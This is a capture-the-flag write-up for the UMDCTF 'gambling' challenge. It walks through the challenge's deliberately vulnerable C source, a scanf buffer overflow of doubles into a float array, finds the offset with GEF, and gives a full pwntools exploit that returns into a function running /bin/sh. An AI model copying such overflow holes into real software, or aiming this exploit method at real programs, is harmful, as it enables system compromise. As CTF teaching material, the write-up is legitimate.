UMDCTF Gambling CTF WriteUp
UMDCTF Gambling CTF WriteUp
UMDCTF Gambling pwn challenge
About binary
1
2
3
4
5
6
7
8
9
pwn checksec gambling
[*] '/home/hacker/REPO/binexp/comp/umdctf/gambling/gambling'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
FORTIFY: Enabled
Source Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
float rand_float() {
return (float)rand() / RAND_MAX;
}
void print_money() {
system("/bin/sh");
}
void gamble() {
float f[4];
float target = rand_float();
printf("Enter your lucky numbers: ");
scanf(" %lf %lf %lf %lf %lf %lf %lf", f,f+1,f+2,f+3,f+4,f+5,f+6);
if (f[0] == target || f[1] == target || f[2] == target || f[3] == target || f[4] == target || f[5] == target || f[6] == target) {
printf("You win!\n");
// due to economic concerns, we're no longer allowed to give out prizes.
// print_money();
} else {
printf("Aww dang it!\n");
}
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
char buf[20];
srand(420);
while (1) {
gamble();
getc(stdin); // consume newline
printf("Try again? ");
fgets(buf, 20, stdin);
if (strcmp(buf, "no.\n") == 0) {
break;
}
}
}
Vulnerability
1
2
float f[4];
scanf(" %lf %lf %lf %lf %lf %lf %lf", f,f+1,f+2,f+3,f+4,f+5,f+6);
This is a buffer overflow vulnerability.
A array of the the data type float
with the size of only 4 elements
float = 4 bytes float * 4 = 16 bytes only 16 bytes was created in the stack.
Now here is where the vulnerability is. scanf is used to get input, but it is implemented incorrectly, it takes input of 7 doubles
double = 8 bytes double * 7 = 56 bytes user can input 56 bytes which will cause a overflow
Exploitation path
- Find the offset to instruction pointer.
- Find the address that the instruction pointer will point to
print_money
- Overwrite instruction pointer and call
print_money
Offset
since the binary takes input as double we need to interpret bytes as doubles
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
pattern = cyclic(200)
doubles = []
for i in range(0, len(pattern), 8):
chunk = pattern[i:i+8]
# pad to 8 bytes
if len(chunk) < 8:
chunk = chunk.ljust(8, b'\x00')
# reinterpret raw bytes as a double
value = struct.unpack('d', chunk)[0]
doubles.append(value)
# print 7 doubles
print(doubles[:7])
Output
1
2
3
python offset.py
1.2217649168290121e+161 1.2217670620782814e+161 1.2217692073275507e+161 1.22177135257682e+161 1.2217734978260893e+161 1.2217756430753586e+161 1.221777788324628e+161
Use a debugger to find the offset to eip
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
gdb ./gambling -q
GEF for linux ready, type `gef' to start, `gef config' to configure
93 commands loaded and 5 functions added for GDB 13.1 in 0.00ms using Python engine 3.11
warning: ~/gef.py: No such file or directory
Reading symbols from ./gambling...
(No debugging symbols found in ./gambling)
gef➤ r
Starting program: /home/hacker/REPO/binexp/comp/umdctf/gambling/gambling
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter your lucky numbers: 1.2217649168290121e+161 1.2217670620782814e+161 1.2217692073275507e+161 1.22177135257682e+161 1.2217734978260893e+161 1.2217756430753586e+161 1.221777788324628e+161
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xd
$ebx : 0xffffd0bc → 0xf7fc14b0 → 0xf7d7e000 → 0x464c457f
$ecx : 0xf7f9c9b8 → 0x00000000
$edx : 0x1
$esp : 0xffffd0b0 → 0xf7fc14b0 → 0xf7d7e000 → 0x464c457f
$ebp : 0xffffd0d8 → 0x00000000
$esi : 0x0804bf10 → 0x08049260 → <__do_global_dtors_aux+0000> endbr32
$edi : 0xf7ffcb80 → 0x00000000
$eip : 0x6161616e ("naaa"?)
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
─────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd0b0│+0x0000: 0xf7fc14b0 → 0xf7d7e000 → 0x464c457f ← $esp
0xffffd0b4│+0x0004: 0xf7fd97db → mov edi, eax
0xffffd0b8│+0x0008: 0xf7d9aa4f → "_dl_audit_preinit"
0xffffd0bc│+0x000c: 0xf7fc14b0 → 0xf7d7e000 → 0x464c457f
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xd
$ebx : 0xffffd0bc → 0xf7fc14b0 → 0xf7d7e000 → 0x464c457f
$ecx : 0xf7f9c9b8 → 0x00000000
$edx : 0x1
$esp : 0xffffd0b0 → 0xf7fc14b0 → 0xf7d7e000 → 0x464c457f
$ebp : 0xffffd0d8 → 0x00000000
$esi : 0x0804bf10 → 0x08049260 → <__do_global_dtors_aux+0000> endbr32
$edi : 0xf7ffcb80 → 0x00000000
$eip : 0x6161616e ("naaa"?)
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
─────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd0b0│+0x0000: 0xf7fc14b0 → 0xf7d7e000 → 0x464c457f ← $esp
0xffffd0b4│+0x0004: 0xf7fd97db → mov edi, eax
0xffffd0b8│+0x0008: 0xf7d9aa4f → "_dl_audit_preinit"
0xffffd0bc│+0x000c: 0xf7fc14b0 → 0xf7d7e000 → 0x464c457f
0xffffd0c0│+0x0010: 0xffffd100 → 0xf7f9aff4 → 0x0021cd8c
0xffffd0c4│+0x0014: 0xf7fc1688 → 0xf7ffdbbc → 0xf7fc17a0 → 0xf7ffda50 → 0x00000000
0xffffd0c8│+0x0018: 0xf7fc1b70 → 0xf7d9d2dc → "GLIBC_PRIVATE"
0xffffd0cc│+0x001c: 0x00000001
───────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x6161616e
───────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "gambling", stopped 0x6161616e in ?? (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────── trace ────
──────────────────────────────────────────────────────────────────────────────────────────────
gef➤ pattern search $eip
[+] Searching for '6e616161'/'6161616e' with period=4
[+] Found at offset 52 (little-endian search) likely
gef➤
Offset = 52
- Open binary in debugger
- run binary
- enter input from python
- search for eip [instruction pointer]
Address to print_money
function
1
2
3
rabin2 -s gambling | grep print_money
25 0x000012c0 0x080492c0 GLOBAL FUNC 17 print_money
addr = 0x080492c0
Build exploit script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
import struct
# function to change interpret bytes as double
def to_double(payload):
doubles = []
for i in range(0, len(payload), 8):
chunk = payload[i:i+8]
# pad to 8 bytes
if len(chunk) < 8:
chunk = chunk.ljust(8, b'\x00')
# reinterpret raw bytes as a double
value = struct.unpack('d', chunk)[0]
doubles.append(value)
return doubles
offset = 52
ret_addr = 0x080492c0 # print_money
payload = b"A"*offset + p32(ret_addr) # pack address to 32 bit
exploit = to_double(payload)
p = process("./gambling")
# recv and packet into single space separeted string
p.sendlineafter('Enter your lucky numbers:', " ".join(str(d) for d in exploit))
p.interactive()
Got Shell
1
2
3
4
5
6
7
8
9
10
11
12
13
python exploit.py
[+] Starting local process './gambling': pid 18489
/home/hacker/REPO/binexp/comp/umdctf/gambling/asfd.py:26: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter('Enter your lucky numbers:', " ".join(str(d) for d in exploit))
/usr/lib/python3/dist-packages/pwnlib/tubes/tube.py:823: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[*] Switching to interactive mode
Aww dang it!
$ whoami
hacker
$
This post is licensed under
CC BY 4.0
by the author.